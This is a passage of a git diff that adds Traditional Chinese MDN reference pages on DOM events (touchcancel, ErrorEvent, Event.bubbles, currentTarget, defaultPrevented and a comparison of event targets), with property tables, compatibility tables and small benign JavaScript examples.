+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollTop.png" class="internal" src="/@api/deki/files/842/=ScrollTop.png"></p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrolltop', 'scrollTop')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop" title="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop">W3C Draft CSSOM View Module</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx">MSDN's scrollTop definition</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx" title="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx">MSDN's Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/element/touchcancel_event/index.html b/files/zh-tw/web/api/element/touchcancel_event/index.html
new file mode 100644
index 0000000000..99fa1c27a2
--- /dev/null
+++ b/files/zh-tw/web/api/element/touchcancel_event/index.html
@@ -0,0 +1,169 @@
+---
+title: touchcancel
+slug: Web/API/Element/touchcancel_event
+translation_of: Web/API/Element/touchcancel_event
+---
+<p>{{APIRef}}</p>
+
+<p><code>touchcancel 觸控點發生失效的事件被觸發(例如太多觸控點時)</code></p>
+
+<h2 id="一般資訊">一般資訊</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">規範</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/touch-events/#the-touchcancel-event">Touch Events</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">介面</dt>
+ <dd style="margin: 0 0 0 120px;">TouchEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">起泡事件</dt>
+ <dd style="margin: 0 0 0 120px;">是</dd>
+ <dt style="float: left; text-align: right; width: 120px;">可取消</dt>
+ <dd style="margin: 0 0 0 120px;">否</dd>
+ <dt style="float: left; text-align: right; width: 120px;">對象</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">預設行為</dt>
+ <dd style="margin: 0 0 0 120px;">無</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>touches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact currently touching the surface.</td>
+  </tr>
+  <tr>
+   <td><code>targetTouches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact that is touching the surface and started on the element that is the target of the current event.</td>
+  </tr>
+  <tr>
+   <td><code>changedTouches</code> {{readonlyInline}}</td>
+   <td>TouchList</td>
+   <td>A list of <a href="/en-US/docs/DOM/Touch"><code>Touch</code></a>es for every point of contact which contributed to the event.<br>
+    For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例">範例</h2>
+
+<p>各種觸控事件的範例：<a href="/en-US/docs/DOM/Touch_events">Touch events</a>。</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="相關事件">相關事件</h2>
+
+<p>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</p>
diff --git a/files/zh-tw/web/api/errorevent/index.html b/files/zh-tw/web/api/errorevent/index.html
new file mode 100644
index 0000000000..27e406ed7c
--- /dev/null
+++ b/files/zh-tw/web/api/errorevent/index.html
@@ -0,0 +1,148 @@
+---
+title: ErrorEvent
+slug: Web/API/ErrorEvent
+translation_of: Web/API/ErrorEvent
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><strong><code>ErrorEvent</code></strong> 介面是用來提供程式碼或是檔案的錯誤訊息的事件。</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>此介面繼承了其父 {{domxref("Event")}} 的 properties 。</em></p>
+
+<dl>
+ <dt>{{domxref("ErrorEvent.message")}} {{readonlyInline}}</dt>
+ <dd>一 {{domxref("DOMString")}} 提供具可讀性的關於問題的錯誤訊息。</dd>
+ <dt>{{domxref("ErrorEvent.filename")}} {{readonlyInline}}</dt>
+ <dd>一 {{domxref("DOMString")}} ，為發生錯誤的程式碼檔案的檔名。</dd>
+ <dt>{{domxref("ErrorEvent.lineno")}} {{readonlyInline}}</dt>
+ <dd>一 <code>整數</code> ，為發生問題的程式的行數。</dd>
+ <dt>{{domxref("ErrorEvent.colno")}} {{readonlyInline}}</dt>
+ <dd>一 <code>整數</code> ，為發生問題的程式的欄數。</dd>
+ <dt>{{domxref("ErrorEvent.error")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>一個參與該事件的 JavaScript <code>Object</code> 。</dd>
+</dl>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ErrorEvent.ErrorEvent", "ErrorEvent()")}}</dt>
+ <dd>建立一 <code>ErrorEvent</code> 事件，其包含提供的參數。</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>此介面繼承了其父 {{domxref("Event")}} 的 methods。</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>追加 <code>error</code> propriety 以及 constructor 的第5個the 5th 參數。</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>初始定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度比較">瀏覽器支援度比較</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>colno</code> property and 4th argument to constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>error</code> property and 5th argument to constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>colno</code> property and 4th argument to constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>error</code> property and 5th argument to constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers" title="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a>, most likely objects to raise such an event</li>
+</ul>
diff --git a/files/zh-tw/web/api/event/bubbles/index.html b/files/zh-tw/web/api/event/bubbles/index.html
new file mode 100644
index 0000000000..4a495fc672
--- /dev/null
+++ b/files/zh-tw/web/api/event/bubbles/index.html
@@ -0,0 +1,63 @@
+---
+title: Event.bubbles
+slug: Web/API/Event/bubbles
+translation_of: Web/API/Event/bubbles
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Summary" name="Summary">概述</h3>
+
+<p>表示事件是否會向上冒泡傳遞。</p>
+
+<h3 id="語法">語法</h3>
+
+<pre class="eval"><em>var bool</em> = event.bubbles;
+</pre>
+
+<p>回傳一個布林值，若事件會向上冒泡傳遞則回傳 <code>true</code>。</p>
+
+<h3 id="Notes" name="Notes">備註</h3>
+
+<p>Only certain events can bubble. Events that do bubble have this property set to <code>true</code>. You can use this property to check if an event is allowed to bubble or not.</p>
+
+<h3 id="Example" name="Example">範例</h3>
+
+<pre class="brush: js"> function goInput(e) {
+  // checks bubbles and
+  if (!e.bubbles) {
+     // passes event along if it's not
+     passItOn(e);
+  }
+  // already bubbling
+  doOutput(e)
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-bubbles', 'Event.bubbles')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-bubbles', 'Event.bubbles')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-canBubble', 'Event.bubbles')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/event/comparison_of_event_targets/index.html b/files/zh-tw/web/api/event/comparison_of_event_targets/index.html
new file mode 100644
index 0000000000..211463b1a7
--- /dev/null
+++ b/files/zh-tw/web/api/event/comparison_of_event_targets/index.html
@@ -0,0 +1,164 @@
+---
+title: Comparison of Event Targets
+slug: Web/API/Event/Comparison_of_Event_Targets
+translation_of: Web/API/Event/Comparison_of_Event_Targets
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Event_targets" name="Event_targets">Event targets</h3>
+
+<p>It's easy to get confused about which target to examine when writing an event handler. This article should clarify the use of the target properties.</p>
+
+<p>There are 5 targets to consider:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Defined in</th>
+   <th>Purpose</th>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-interface">DOM Event Interface</a></td>
+   <td>
+    <p>The DOM element on the lefthand side of the call that triggered this event, eg:</p>
+
+    <pre class="eval">
+<em>element</em>.dispatchEvent(<em>event</em>)
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.currentTarget" title="en/DOM/event.currentTarget">event.currentTarget</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-interface">DOM Event Interface</a></td>
+   <td>The <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget"><code>EventTarget</code></a> whose <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener"><code>EventListeners</code></a> are currently being processed. As the event capturing and bubbling occurs this value changes.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-MouseEvent">DOM MouseEvent Interface</a></td>
+   <td>Identifies a secondary target for the event.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.explicitOriginalTarget" title="en/DOM/event.explicitOriginalTarget">event.explicitOriginalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} If the event was retargeted for some reason other than an anonymous boundary crossing, this will be set to the target before the retargeting occurs. For example, mouse events are retargeted to their parent node when they happen over text nodes ({{ Bug("185889") }}), and in that case <code>.target</code> will show the parent and <code>.explicitOriginalTarget</code> will show the text node.<br>
+    Unlike <code>.originalTarget</code>, <code>.explicitOriginalTarget</code> will never contain anonymous content.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.originalTarget" title="en/DOM/event.originalTarget">event.originalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} The original target of the event, before any retargetings. See <a href="/en-US/docs/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting" title="en/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting">Anonymous Content#Event_Flow_and_Targeting</a> for details.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Use_of_explicitOriginalTarget_and_originalTarget" name="Use_of_explicitOriginalTarget_and_originalTarget">Use of <code>explicitOriginalTarget</code> and <code>originalTarget</code></h3>
+
+<p>TODO: Only available in a Mozilla-based browser? TODO: Only suitable for extension-developers?</p>
+
+<h3 id="Examples" name="Examples">範例</h3>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt;
+    &lt;title&gt;Comparison of Event Targets&lt;/title&gt;
+    &lt;style&gt;
+        table {
+            border-collapse: collapse;
+            height: 150px;
+            width: 100%;
+        }
+        td {
+            border: 1px solid #ccc;
+            font-weight: bold;
+            padding: 5px;
+            min-height: 30px;
+        }
+        .standard {
+            background-color: #99ff99;
+        }
+        .non-standard {
+            background-color: #902D37;
+        }
+    &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;table&gt;
+    &lt;thead&gt;
+        &lt;tr&gt;
+            &lt;td class="standard"&gt;Original target dispatching the event &lt;small&gt;event.target&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Target who's event listener is being processed &lt;small&gt;event.currentTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Identify other element (if any) involved in the event &lt;small&gt;event.relatedTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="non-standard"&gt;If there was a retargetting of the event for some reason &lt;small&gt; event.explicitOriginalTarget&lt;/small&gt; contains the target before retargetting (never contains anonymous targets)&lt;/td&gt;
+            &lt;td class="non-standard"&gt;If there was a retargetting of the event for some reason &lt;small&gt; event.originalTarget&lt;/small&gt; contains the target before retargetting (may contain anonymous targets)&lt;/td&gt;
+        &lt;/tr&gt;
+    &lt;/thead&gt;
+    &lt;tr&gt;
+        &lt;td id="target"&gt;&lt;/td&gt;
+        &lt;td id="currentTarget"&gt;&lt;/td&gt;
+        &lt;td id="relatedTarget"&gt;&lt;/td&gt;
+        &lt;td id="explicitOriginalTarget"&gt;&lt;/td&gt;
+        &lt;td id="originalTarget"&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;
+&lt;p&gt;Clicking on the text will show the difference between explicitOriginalTarget, originalTarget and target&lt;/p&gt;
+&lt;script&gt;
+    function handleClicks(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('currentTarget').innerHTML = e.currentTarget;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
+        document.getElementById('originalTarget').innerHTML = e.originalTarget;
+    }
+
+    function handleMouseover(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+    }
+
+    document.addEventListener('click', handleClicks, false);
+    document.addEventListener('mouseover', handleMouseover, false);
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Use_of_target_and_relatedTarget" name="Use_of_target_and_relatedTarget">Use of <code>target</code> and <code>relatedTarget</code></h3>
+
+<p>The <code>relatedTarget</code> property for the <code>mouseover</code> event holds the node that the mouse was previously over. For the <code>mouseout</code> event, it holds the node that the mouse moved to.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Event type</th>
+   <th><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></th>
+   <th><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></th>
+  </tr>
+  <tr>
+   <td><code>mouseover</code></td>
+   <td>the EventTarget which the pointing device entered</td>
+   <td>the EventTarget which the pointing device exited</td>
+  </tr>
+  <tr>
+   <td><code>mouseout</code></td>
+   <td>the EventTarget which the pointing device exited</td>
+   <td>the EventTarget which the pointing device entered</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>TODO: Also needs descriptions about <code>dragenter</code> and <code>dragexit</code> events.</p>
+
+<h4 id="Example" name="Example">範例</h4>
+
+<pre class="eval">&lt;hbox id="outer"&gt;
+  &lt;hbox id="inner"
+        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' &gt; ' + event.target.id + '\n');"
+        onmouseout="dump('mouseout  ' + event.target.id + ' &gt; ' + event.relatedTarget.id + '\n');"
+        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" /&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/event/createevent/index.html b/files/zh-tw/web/api/event/createevent/index.html
new file mode 100644
index 0000000000..fd60d1089d
--- /dev/null
+++ b/files/zh-tw/web/api/event/createevent/index.html
@@ -0,0 +1,29 @@
+---
+title: Event.createEvent()
+slug: Web/API/Event/createEvent
+translation_of: Web/API/Document/createEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>建立一個新的事件，該事件必須先以其 <code>init()</code> method 初始化才行。</p>
+
+<h3 id="語法">語法</h3>
+
+<pre><code>document.createEvent(type) </code></pre>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>一個 string 。表示所建立的事件名稱。</dd>
+</dl>
+
+<p>這個 method 會回傳一個新的 DOM {{ domxref("Event") }} object ，其事件類型為傳入的 type 。該事件必須先初始化才能使用。</p>
+
+<h3 id="範例">範例</h3>
+
+<pre class="brush: js">var newEvent = document.createEvent("UIEvents");</pre>
+
+<h3 id="規格定義">規格定義</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document" title="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document">DOM Level 2 Events</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/event/currenttarget/index.html b/files/zh-tw/web/api/event/currenttarget/index.html
new file mode 100644
index 0000000000..2be9aeb4e7
--- /dev/null
+++ b/files/zh-tw/web/api/event/currenttarget/index.html
@@ -0,0 +1,70 @@
+---
+title: Event.currentTarget
+slug: Web/API/Event/currentTarget
+translation_of: Web/API/Event/currentTarget
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Event")}} 介面的唯讀屬性 <code><strong>currentTarget</strong></code> 會標明事件指向（current target）、還有該事件所遍歷的 DOM。屬性總會指向當時處理該事件的事件監聽器所註冊的 DOM 物件，而 {{domxref("event.target")}} 屬性則是永遠指向觸發事件的 DOM 物件。</p>
+
+<h2 id="範例">範例</h2>
+
+<p><code>event.currentTarget</code> 在把相同的事件監聽器，附加到多個元素時，會出現很有趣的事情：</p>
+
+<pre class="brush: js">function hide(e){
+  e.currentTarget.style.visibility = "hidden";
+  // 在這個函式用於事件監聽器時： this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i &lt; ps.length; i++){
+  ps[i].addEventListener('click', hide, false);
+}
+
+// 單擊四周的話 p 元素就會消失
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>規範</th>
+   <th>狀態</th>
+   <th>註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-currenttarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-currenttarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Events", "#dfn-current-event-target", "current event target")}}</td>
+   <td>{{Spec2("DOM3 Events")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Event.currentTarget")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/API/Event/Comparison_of_Event_Targets">事件指向的比較</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/event/defaultprevented/index.html b/files/zh-tw/web/api/event/defaultprevented/index.html
new file mode 100644
index 0000000000..d0814682a8
--- /dev/null
+++ b/files/zh-tw/web/api/event/defaultprevented/index.html
@@ -0,0 +1,100 @@
+---
+title: Event.defaultPrevented
+slug: Web/API/Event/defaultPrevented
+translation_of: Web/API/Event/defaultPrevented
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<h2 id="概述">概述</h2>
+
+<p>回傳一個布林值，表示事件的預設行為是否被取消，也就是事件物件是否曾執行 {{domxref("event.preventDefault()", "preventDefault()")}} 方法。</p>
+
+<div class="note"><strong>註：</strong>You should use this instead of the non-standard, deprecated<code> getPreventDefault()</code> method (see {{ bug(691151) }}).</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="eval">bool = event.defaultPrevented </pre>
+
+<h2 id="範例">範例</h2>
+
+<pre> if (e.defaultPrevented) {
+   /* the default was prevented */
+ }
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-defaultprevented', 'Event.defaultPrevented')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性"><span style="font-size: 1.71428571428571rem; letter-spacing: -0.021em; line-height: 1;">瀏覽器相容性</span></h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(18) }}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatIE(9.0) }}</td>
+   <td>{{ CompatOpera(11.0) }}</td>
+   <td>{{ CompatSafari("5.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
